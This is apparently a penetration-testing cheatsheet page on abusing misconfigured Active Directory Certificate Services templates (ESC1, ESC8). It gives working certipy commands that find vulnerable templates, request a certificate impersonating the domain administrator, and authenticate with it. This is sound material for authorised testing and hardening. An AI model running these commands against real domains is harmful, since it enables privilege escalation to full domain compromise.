pentesting, updated
Active Directory Certificate Services (ADCS) abuse
Enumerate and abuse misconfigured certificate templates to obtain a certificate that authenticates as another, more privileged user.
Goal
Find and exploit a vulnerable certificate template (the “ESC” misconfiguration classes) to request a certificate that lets you authenticate as any user, including Domain Admins.
How to test
certipy find -u jdoe@corp.local -p Password1 -dc-ip 10.10.10.5 -vulnerable # see [Certipy](/docs/pentest-cheatsheets/tools/active-directory/certipy)
certipy req -u jdoe@corp.local -p Password1 -ca corp-CA -template VulnTemplate \
-upn administrator@corp.local # ESC1: request on behalf of another UPN
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5 # authenticate with the issued cert
What to look for
A template with ENROLLEE_SUPPLIES_SUBJECT and client-authentication EKU available to low-privilege principals (ESC1), or a CA host itself vulnerable to NTLM relay for enrollment (ESC8).
Notes
ADCS misconfigurations are consistently among the highest-impact, most overlooked AD findings — always run a certipy find sweep if any CA is present in scope.